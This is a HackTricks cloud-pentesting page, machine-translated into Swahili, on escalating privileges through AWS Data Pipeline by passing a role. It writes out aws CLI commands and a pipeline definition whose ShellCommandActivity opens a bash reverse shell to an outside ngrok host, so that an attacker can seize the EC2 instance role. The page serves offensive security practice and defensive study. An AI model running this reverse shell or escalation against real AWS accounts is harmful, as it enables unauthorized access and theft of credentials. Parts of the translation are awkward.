AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Kwa maelezo zaidi kuhusu datapipeline angalia:

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Watumiaji wenye idhini hizi wanaweza kuongeza mamlaka kwa kuunda Data Pipeline ili kutekeleza amri zisizo na mipaka kwa kutumia idhini za jukumu lililotolewa:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Baada ya kuunda pipeline, mshambuliaji anasasisha ufafanuzi wake ili kuamuru vitendo maalum au uundaji wa rasilimali:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Kumbuka kwamba role katika line 14, 15 na 27 inahitaji kuwa role inasemekana na datapipeline.amazonaws.com na role katika line 28 inahitaji kuwa role inayoweza kusemwa na ec2.amazonaws.com yenye profaili ya EC2 instance.

Zaidi ya hayo, instance ya EC2 itakuwa na ufikiaji tu kwa role inayoweza kusemwa na instance ya EC2 (hivyo unaweza kuiba hiyo pekee).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

The fail ya ufafanuzi wa pipeline, iliyoundwa na mshambuliaji, inajumuisha maagizo ya kutekeleza amri au kuunda rasilimali kupitia AWS API, ikitumia ruhusa za jukumu la Data Pipeline ili kupata haki za ziada.

Athari Zinazoweza Kutokea: Privesc ya moja kwa moja kwa jukumu la huduma ya ec2 lililotajwa.

Marejeleo

Support HackTricks

Last updated